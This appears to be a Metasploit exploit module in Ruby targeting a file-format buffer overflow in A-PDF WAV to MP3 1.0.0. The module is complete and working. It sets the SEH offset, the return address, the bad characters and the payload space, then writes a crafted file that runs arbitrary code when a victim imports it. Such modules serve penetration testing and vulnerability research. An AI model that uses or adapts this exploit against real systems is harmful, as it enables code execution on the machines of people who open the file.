A-PDF WAV to MP3 1.0.0 - Local Buffer Overflow (Metasploit)

##
# $Id: a-pdf_wav_to_mp3.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'A-PDF WAV to MP3 v1.0.0 Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in A-PDF WAV to MP3 v1.0.0. When
				the application is used to import a specially crafted m3u file, a buffer overflow occurs
				allowing arbitrary code execution.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'd4rk-h4ck3r', # Original Exploit
					'Dr_IDE',      # SEH Exploit
					'dookie'       # MSF Module
				],
			'Version'        => '$Revision: 10998 $',
			'References'     =>
				[
					[ 'OSVDB', '67241' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/14676/' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/14681/' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'    => 600,
					'BadChars' => "\x00\x0a",
					'StackAdjustment' => -3500
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'Windows Universal', { 'Ret' => 0x0047265c, 'Offset' => 4132 } ],	# p/p/r in wavtomp3.exe
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Aug 17 2010',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ false, 'The file name.', 'msf.wav']),
			], self.class)

	end

	def exploit

		sploit = rand_text_alpha_upper(target['Offset'])
		sploit << generate_seh_payload(target.ret)

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(sploit)

	end

end